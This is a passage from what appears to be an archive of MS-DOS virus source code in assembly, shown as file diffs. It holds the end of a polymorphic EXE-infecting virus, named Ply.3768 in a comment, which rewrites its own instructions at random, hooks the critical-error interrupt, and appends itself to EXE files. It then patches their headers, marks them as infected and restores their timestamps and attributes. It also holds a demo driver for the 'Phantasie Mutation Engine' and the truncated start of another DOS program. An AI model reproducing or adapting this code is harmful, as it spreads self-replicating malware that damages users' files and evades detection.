nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],ax ; Store second word of three-bytes...
|
||||
nop
|
||||
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
jne append_nop ; Not equal? Jump to append_nop
|
||||
nop
|
||||
dec_imm8_:
|
||||
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
||||
append_nop:
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov [bx+02h],al ; Append a NOP to the opcode
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
dont_poly_:
|
||||
jmp test_loop
|
||||
test_create:
|
||||
cmp al,02h ; Create a CALL imm16 to the opcode?
|
||||
nop
|
||||
jne delete_call ; Not equal? Jump to delete_call
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_call ; Not equal? Jump to create_call
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_call:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
cmp al,50h ; PUSH reg16/POP reg16?
|
||||
nop
|
||||
je call_exit ; Equal? Jump to call_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0c3h ; RET (opcode 0c3h)
|
||||
nop
|
||||
stosb ; Store RET
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
stosb ; Store 8-bit random number
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a CALL imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
call_exit:
|
||||
jmp test_loop
|
||||
delete_call:
|
||||
cmp al,03h ; Delete previously created CALL i...
|
||||
nop
|
||||
jne test_create_ ; Not equal? Jump to test_create_
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
||||
nop
|
||||
jne call_exit_ ; Not equal? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb call_exit_ ; Below? Jump to call_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
call_exit_:
|
||||
jmp test_loop
|
||||
test_create_:
|
||||
cmp al,04h ; Create a JMP imm16 to the opcode?
|
||||
nop
|
||||
jne delete_jmp ; Not equal? Jump to delete_jmp
|
||||
nop
|
||||
|
||||
mov ax,[si] ; AX = first word of three-bytes b...
|
||||
nop
|
||||
cmp al,90h ; NOP (opcode 90h)?
|
||||
nop
|
||||
jne create_jmp ; Not equal? Jump to create_jmp
|
||||
nop
|
||||
|
||||
mov al,ah ; AL = second byte of three-bytes ...
|
||||
nop
|
||||
create_jmp:
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
and al,11110000b
|
||||
nop
|
||||
cmp al,70h ; Jump on condition?
|
||||
nop
|
||||
je jmp_exit ; Equal? Jump to jmp_exit
|
||||
nop
|
||||
|
||||
call get_poly_off
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
stosb ; Store JMP imm16
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
neg ax ; Negate AX
|
||||
nop
|
||||
sub ax,02h ; Subtract two from 16-bit immediate
|
||||
stosw ; Store 16-bit immediate
|
||||
nop
|
||||
nop
|
||||
|
||||
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
||||
nop
|
||||
lea bx,poly_buffer ; BX = offset of poly_buffer
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],al ; Create a JMP imm16 to the opcode
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = random offset of polymorphi...
|
||||
nop
|
||||
sub ax,si ; Subtract offset of current three...
|
||||
nop
|
||||
sub ax,06h ; Subtract size of six-bytes block
|
||||
mov [bx+01h],ax ; Store 16-bit immediate
|
||||
|
||||
mov di,si ; SI = offset of current three-byt...
|
||||
nop
|
||||
mov ax,03h ; AX = size of opcode CALL imm16
|
||||
sub di,ax ; Subtract size of opcode CALL imm...
|
||||
nop
|
||||
mov si,bx ; SI = offset of poly_buffer
|
||||
nop
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
jmp_exit:
|
||||
jmp test_loop
|
||||
nop
|
||||
delete_jmp:
|
||||
cmp al,05h ; Delete previously created JMP im...
|
||||
nop
|
||||
jne test_loop ; Not equal? Jump to test_loop
|
||||
nop
|
||||
|
||||
mov al,[si] ; AL = first byte of three-bytes b...
|
||||
nop
|
||||
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
||||
nop
|
||||
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov ax,[si+01h] ; AX = 16-bit immediate
|
||||
add ax,03h ; Add size of opcode CALL imm16
|
||||
|
||||
mov di,si ; DI = offset of current three-byt...
|
||||
nop
|
||||
add si,ax ; Add 16-bit immediate
|
||||
nop
|
||||
lea bx,poly_blocks ; BX = offset of poly_blocks
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
cmp si,bx ; 16-bit immediate within polymorp...
|
||||
nop
|
||||
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
||||
nop
|
||||
|
||||
mov cx,03h ; Move three bytes
|
||||
rep movsb ; Move three-bytes block to offset...
|
||||
nop
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
mov [si-03h],ax ; Store NOP; NOP
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si-01h],al ; Store 8-bit random number
|
||||
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov [si],al ; Store 8-bit random number
|
||||
nop
|
||||
jmp_exit_:
|
||||
jmp test_loop
|
||||
nop
|
||||
test_loop:
|
||||
pop si ; Load SI from stack
|
||||
nop
|
||||
nop
|
||||
pop cx ; Load CX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,03h ; AX = size of block
|
||||
add si,ax ; SI = offset of next three-byte b...
|
||||
nop
|
||||
|
||||
dec cx ; Decrease CX
|
||||
nop
|
||||
nop
|
||||
jz poly_exit ; Zero? Jump to poly_exit
|
||||
nop
|
||||
|
||||
jmp poly_loop
|
||||
poly_exit:
|
||||
jmp prepare_exit
|
||||
nop
|
||||
|
||||
get_poly_off proc near ; Get random offset of polymorphic...
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov ah,al ; AH = " " "
|
||||
nop
|
||||
in al,40h ; AL = 8-bit random number
|
||||
nop
|
||||
mov di,ax ; DI = 16-bit random number
|
||||
nop
|
||||
mov ax,(poly_end-poly_begin)/03h
|
||||
get_rnd_num:
|
||||
sub di,ax ; Subtract number of polymorphic b...
|
||||
nop
|
||||
cmp di,ax ; Too large a 16-bit random number?
|
||||
nop
|
||||
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
||||
nop
|
||||
|
||||
mov ax,di ; AX = 16-bit random number within...
|
||||
nop
|
||||
|
||||
add di,ax ; Add number of polymorphic blocks
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
add di,ax ; " " " " "
|
||||
nop
|
||||
|
||||
lea ax,poly_blocks ; AX = offset of poly_blocks
|
||||
add di,ax ; Add offset of poly_blocks to ran...
|
||||
nop
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
|
||||
mov al,90h ; NOP (opcode 90h)
|
||||
nop
|
||||
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
||||
nop
|
||||
cmp [di],ax ; Offset already in use?
|
||||
nop
|
||||
jne get_poly_off ; Not equal? Jump to get_poly_off
|
||||
nop
|
||||
|
||||
ret ; Return!
|
||||
nop
|
||||
nop
|
||||
endp
|
||||
prepare_exit:
|
||||
lea si,file_header ; SI = offset of file_header
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add di,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov ax,[si+14h] ; AX = instruction pointer
|
||||
stosw ; Store instruction pointer
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+16h] ; AX = code segment
|
||||
stosw ; Store code segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+0eh] ; AX = stack segment
|
||||
stosw ; Store stack segment
|
||||
nop
|
||||
nop
|
||||
mov ax,[si+10h] ; AX = stack pointer
|
||||
stosw ; Store stack pointer
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
lea dx,dta ; DX = offset of dta
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
mov di,dx ; DI = offset of dta
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,3524h ; Get interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
mov ax,es ; ES = segment of interrupt 24h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov es,ax ; ES = " "
|
||||
nop
|
||||
|
||||
mov ax,2524h ; Get interrupt vector 24h
|
||||
lea dx,int24_virus ; DX = offset of int24_virus
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4e00h+2020h) ; Find first matching file
|
||||
sub ax,2020h
|
||||
mov cx,0000000000000111b
|
||||
lea dx,file_specifi ; DX = offset of file_specifi
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
mov bx,dx ; BX = offset of file_specifi
|
||||
nop
|
||||
mov al,'E'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
find_next:
|
||||
int 21h
|
||||
nop
|
||||
jnc open_file ; No error? Jump to open_file
|
||||
nop
|
||||
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
mov ds,ax ; DS = segment of interrupt 24h
|
||||
nop
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
mov ax,2524h ; Set interrupt vector 24h
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov ah,1ah ; Set disk transfer area address
|
||||
nop
|
||||
mov dx,80h ; DX = offset of default disk tran...
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,cs ; AX = code segment
|
||||
nop
|
||||
mov ds,ax ; DS = " "
|
||||
nop
|
||||
|
||||
jmp virus_exit
|
||||
open_file:
|
||||
mov al,'V'
|
||||
nop
|
||||
mov [bx+02h],al ; Correct the file specification
|
||||
|
||||
mov ax,3d00h ; Open file (read)
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ah,3fh ; Read from file
|
||||
nop
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
mov cx,1ah ; Read twenty-six bytes
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,('ZM'+2020h) ; EXE signature
|
||||
sub ax,2020h
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
|
||||
xchg ah,al ; Exchange EXE signature
|
||||
nop
|
||||
cmp [si],ax ; Found EXE signature?
|
||||
nop
|
||||
je examine_file ; Equal? Jump to examine_file
|
||||
nop
|
||||
jmp_find_nxt:
|
||||
mov ax,(4f00h+2020h) ; Find next matching file
|
||||
sub ax,2020h
|
||||
|
||||
jmp find_next
|
||||
nop
|
||||
examine_file:
|
||||
mov ax,2020h
|
||||
cmp [si+12h],ax ; Already infected?
|
||||
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
xor cx,cx ; CX = new file attributes
|
||||
nop
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(3d02h+2020h) ; Open file (read/write)
|
||||
sub ax,2020h
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
xchg bx,ax ; BX = file handle
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4202h ; Set current file position (EOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,(code_end-code_begin)
|
||||
lea dx,code_begin ; DX = offset of code_begin
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,[si+08h] ; AX = header size in paragraphs
|
||||
mov cl,04h ; Multiply by paragraphs
|
||||
nop
|
||||
shl ax,cl ; AX = header size
|
||||
nop
|
||||
push bx ; Save BX at stack
|
||||
nop
|
||||
nop
|
||||
xchg ax,bx ; BX = header size
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,[di+1ah] ; AX = low-order word of filesize
|
||||
mov dx,[di+1ch] ; DX = high-order word of filesize
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
push dx ; Save DX at stack
|
||||
nop
|
||||
nop
|
||||
|
||||
sub ax,bx ; Subtract header size from filesize
|
||||
nop
|
||||
sbb dx,00h ; Convert to 32-bit
|
||||
mov cx,10h
|
||||
div cx ; Divide by paragraphs
|
||||
nop
|
||||
mov [si+14h],dx ; Store instruction pointer
|
||||
mov [si+16h],ax ; Store code segment
|
||||
|
||||
lea bx,delta_offset ; BX = offset of delta_offset
|
||||
add bx,bp ; Add delta offset
|
||||
nop
|
||||
mov [bx],dx ; Store delta offset
|
||||
nop
|
||||
|
||||
inc ax ; Increase AX
|
||||
nop
|
||||
nop
|
||||
mov [si+0eh],ax ; Store stack segment
|
||||
|
||||
mov ax,(code_end-code_begin+0c0h)
|
||||
add dx,ax ; DX = stack pointer
|
||||
nop
|
||||
mov ax,1111111111111110b
|
||||
and dx,ax ; DX = " "
|
||||
nop
|
||||
mov [si+10h],dx ; Store stack pointer
|
||||
|
||||
mov ax,2020h ; AX = infection mark
|
||||
mov [si+12h],ax ; Store infection mark
|
||||
|
||||
pop dx ; Load DX from stack
|
||||
nop
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
add ax,(code_end-code_begin)
|
||||
adc dx,00h ; Convert to 32-bit
|
||||
|
||||
mov cl,09h
|
||||
nop
|
||||
push ax ; Save AX at stack
|
||||
nop
|
||||
nop
|
||||
shr ax,cl ; Multiply by pages
|
||||
nop
|
||||
ror dx,cl ; " " "
|
||||
nop
|
||||
stc ; Set carry flag
|
||||
nop
|
||||
nop
|
||||
adc dx,ax ; DX = total number of 512-bytes p...
|
||||
nop
|
||||
pop ax ; Load AX from stack
|
||||
nop
|
||||
nop
|
||||
and ah,00000001b
|
||||
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
||||
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
||||
pop bx ; Load BX from stack
|
||||
nop
|
||||
nop
|
||||
|
||||
mov ax,4201h ; Set current file position (CFP)
|
||||
mov cx,-01h
|
||||
mov dx,-(code_end-delta_offset)
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,02h ; Write two bytes
|
||||
lea dx,delta_offset ; DX = offset of delta_offset
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,4200h ; Set current file position (SOF)
|
||||
xor cx,cx ; Zero CX
|
||||
nop
|
||||
xor dx,dx ; Zero DX
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4000h+2020h) ; Write to file
|
||||
sub ax,2020h
|
||||
mov cx,1ah ; Write twenty-six bytes
|
||||
mov dx,si ; DX = offset of file_header
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(5701h-2020h) ; Set file's date and time
|
||||
add ax,2020h
|
||||
mov cx,[di+16h] ; CX = file time
|
||||
mov dx,[di+18h] ; DX = file date
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ax,(4301h+2020h) ; Set file attributes
|
||||
sub ax,2020h
|
||||
mov ch,00h ; Zero CH
|
||||
nop
|
||||
mov cl,[di+15h] ; CL = file attribute
|
||||
lea dx,filename ; DX = offset of filename
|
||||
add dx,bp ; Add delta offset
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
|
||||
mov ah,4fh ; Find next matching file
|
||||
nop
|
||||
|
||||
jmp find_next
|
||||
|
||||
int24_virus proc near ; Interrupt 24h of Ply.3768
|
||||
mov al,03h ; Fail system call in progress
|
||||
nop
|
||||
|
||||
jmp int24_exit
|
||||
nop
|
||||
endp
|
||||
virus_exit:
|
||||
mov ah,62h ; Get current PSP address
|
||||
nop
|
||||
int 21h
|
||||
nop
|
||||
mov es,bx ; ES = segment of PSP for current ...
|
||||
nop
|
||||
|
||||
mov cx,bx ; CX = " " " " " "
|
||||
nop
|
||||
add cx,10h ; CX = segment of beginning of code
|
||||
|
||||
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
||||
add si,bp ; Add delta offset
|
||||
nop
|
||||
|
||||
add [si+02h],cx ; Add segment of beginning of code...
|
||||
add cx,[si+04h] ; Add original stack segment to se...
|
||||
|
||||
cli ; Clear interrupt-enable flag
|
||||
nop
|
||||
nop
|
||||
xor ax,ax ; Zero AX
|
||||
nop
|
||||
poly_end:
|
||||
mov sp,[si+06h] ; SP = stack pointer
|
||||
mov ss,cx ; SS = stack segment
|
||||
sti ; Set interrupt-enable flag
|
||||
|
||||
push ax ; Save AX at stack
|
||||
|
||||
mov ds,bx ; DS = segment of PSP for current ...
|
||||
|
||||
db 0eah ; JMP imm32 (opcode 0eah)
|
||||
instruct_ptr dw ? ; Instruction pointer
|
||||
code_seg dw ? ; Code segment
|
||||
|
||||
stack_seg dw ? ; Stack segment
|
||||
stack_ptr dw ? ; Stack pointer
|
||||
int24_exit:
|
||||
iret ; Interrupt return!
|
||||
|
||||
db 00h,00h
|
||||
file_specifi db '*.VXE',00h ; File specification
|
||||
file_header dw 0ah dup(?),00h,0fff0h,?
|
||||
db 00h
|
||||
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
||||
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
||||
code_end:
|
||||
dta:
|
||||
db 15h dup(?) ; Used by DOS for find next-process
|
||||
file_attr db ? ; File attribute
|
||||
file_time dw ? ; File time
|
||||
file_date dw ? ; File date
|
||||
filesize dd ? ; Filesize
|
||||
filename db 0dh dup(?) ; Filename
|
||||
data_end:
|
||||
|
||||
end code_begin
|
94
MSDOS/Virus.MSDOS.Unknown.pme-gen.asm
Normal file
94
MSDOS/Virus.MSDOS.Unknown.pme-gen.asm
Normal file
@ -0,0 +1,94 @@
|
||||
|
||||
|
||||
; Phantasie Mutation Engine --- DEMO
|
||||
; This program will generate 50 mutation programs.
|
||||
; (C) Copyright 1995 Written by Burglar. All Rights Reserved.
|
||||
; Made In Taiwan.
|
||||
|
||||
|
||||
.MODEL TINY
|
||||
|
||||
.CODE
|
||||
|
||||
ORG 100H
|
||||
|
||||
EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to external module.
|
||||
|
||||
|
||||
BEGIN:
|
||||
MOV DX,OFFSET GEN_MSG
|
||||
MOV AH,9
|
||||
INT 21H
|
||||
|
||||
MOV CX,50
|
||||
GEN:
|
||||
PUSH CX
|
||||
|
||||
MOV DX,OFFSET FILENAME
|
||||
PUSH CS
|
||||
POP DS
|
||||
XOR CX,CX
|
||||
MOV AH,3CH
|
||||
INT 21H
|
||||
|
||||
PUSH AX
|
||||
|
||||
MOV DX,OFFSET PROG ;DS:DX point to the head of program which you
|
||||
;want to be mutation.
|
||||
MOV CX,OFFSET PROG_END - OFFSET PROG ;CX hold the length of the
|
||||
;program which you want to
|
||||
;be mutation.
|
||||
MOV BX,100H ;BX sets the beginning offset when execution.
|
||||
|
||||
PUSH SS
|
||||
POP AX
|
||||
ADD AX,1000H
|
||||
MOV ES,AX ;ES point to a work segment.
|
||||
;for putting decryption routine + encrypted code.
|
||||
;just need the length of origin program + 512 bytes.
|
||||
|
||||
CALL PME ;OK! when every thing is okay, you can call the PME.
|
||||
|
||||
;When PME execute over, it will return :
|
||||
;DS:DX -> decryption routine + encrypted code.
|
||||
;CX -> length of the decryption routine + encrypted
|
||||
;code. (always origin length + 512 bytes)
|
||||
|
||||
POP BX
|
||||
MOV AH,40H
|
||||
INT 21H
|
||||
|
||||
MOV AH,3EH
|
||||
INT 21H
|
||||
|
||||
MOV BX,OFFSET FILENAME
|
||||
INC BYTE PTR CS:BX+7
|
||||
CMP BYTE PTR CS:BX+7,'9'
|
||||
JBE L0
|
||||
MOV BYTE PTR CS:BX+7,'0'
|
||||
INC BYTE PTR CS:BX+6
|
||||
L0:
|
||||
POP CX
|
||||
LOOP GEN
|
||||
|
||||
INT 20H
|
||||
|
||||
FILENAME DB '00000000.COM',0
|
||||
|
||||
GEN_MSG DB 'Generating 50 mutation programs... $'
|
||||
|
||||
PROG:
|
||||
CALL $+3
|
||||
POP DX
|
||||
ADD DX,OFFSET MSG - OFFSET PROG - 3
|
||||
MOV AH,9
|
||||
INT 21H
|
||||
INT 20H
|
||||
MSG DB 'I am a mutation program.$'
|
||||
PROG_END:
|
||||
|
||||
|
||||
END BEGIN
|
||||
|
||||
|
||||
|
227
MSDOS/Virus.MSDOS.Unknown.pmfejt.asm
Normal file
227
MSDOS/Virus.MSDOS.Unknown.pmfejt.asm
Normal file
@ -0,0 +1,227 @@
|
||||
START SEGMENT
|
||||
ASSUME CS:START,DS:START
|
||||
MOV BX,80H
|
||||
MOV CH,0
|
||||
MOV CL,[BX]
|
||||
DEC CX
|
||||
MOV SI,OFFSET KODOK+100H
|
||||
CALL BET
|
||||
JZ KILEP
|
||||
MOV SI,OFFSET FILEN+100H
|
||||
CALL BET
|
||||
JZ KILEP
|
||||
MOV SI,OFFSET FILECO+100H
|
||||
CALL BET
|
||||
JMP FOLYT
|
||||
KILEP: INT 20H
|
||||
FOLYT: MOV SI,OFFSET KODOK+100H
|
||||
MOV BX,OFFSET KODTB+100H
|
||||
CIKL1: MOV AL,[SI]
|
||||
OR AL,AL
|
||||
JZ FOLYT5
|
||||
OR AL,20H
|
||||
FOLYT5: CMP AL,[BX]
|
||||
JZ FOLYTC
|
||||
JMP KODER
|
||||
FOLYTC: CMP AL,0
|
||||
JZ FOLYT4
|
||||
INC BX
|
||||
INC SI
|
||||
JMP CIKL1
|
||||
FOLYT4: MOV AL,0
|
||||
MOV AH,3DH
|
||||
MOV DX,OFFSET FILECO+100H
|
||||
INT 21H
|
||||
JNC FOLYTD
|
||||
JMP FILER
|
||||
FOLYTD: PUSH AX
|
||||
MOV BX,AX
|
||||
MOV AH,3FH
|
||||
MOV CX,100H
|
||||
MOV DX,OFFSET IPUFF+100H
|
||||
INT 21H
|
||||
POP BX
|
||||
JNC FOLYTE
|
||||
JMP FILER
|
||||
FOLYTE: MOV AH,3EH
|
||||
INT 21H
|
||||
JNC FOLYTF
|
||||
JMP FILER
|
||||
FOLYTF: MOV BX,OFFSET IPUFF+100H
|
||||
MOV SI,OFFSET PMNAM+100H
|
||||
CIKL2: MOV AL,[SI]
|
||||
OR AL,AL
|
||||
JZ FOLYT7
|
||||
CMP AL,[BX]
|
||||
JZ PMOK
|
||||
JMP PMER
|
||||
PMOK: INC BX
|
||||
INC SI
|
||||
JMP CIKL2
|
||||
FOLYT7: MOV DI,OFFSET FILMO+100H
|
||||
MOV DL,2
|
||||
CIKL4: MOV SI,OFFSET FILEN+100H
|
||||
MOV CX,13
|
||||
REP MOVSB
|
||||
DEC DL
|
||||
JNZ CIKL4
|
||||
FOLYTA: MOV BX,7
|
||||
MOV CX,26
|
||||
MOV AL,03FH
|
||||
MOV AH,9
|
||||
INT 10H
|
||||
MOV BX,OFFSET IPUFF+157H
|
||||
MOV CX,26
|
||||
MOV SI,OFFSET FILMO+100H
|
||||
MOV DI,OFFSET OPUFF+100H
|
||||
MOV BYTE PTR [IRANY+100H],1
|
||||
CIKL6: PUSH CX
|
||||
MOV CL,0
|
||||
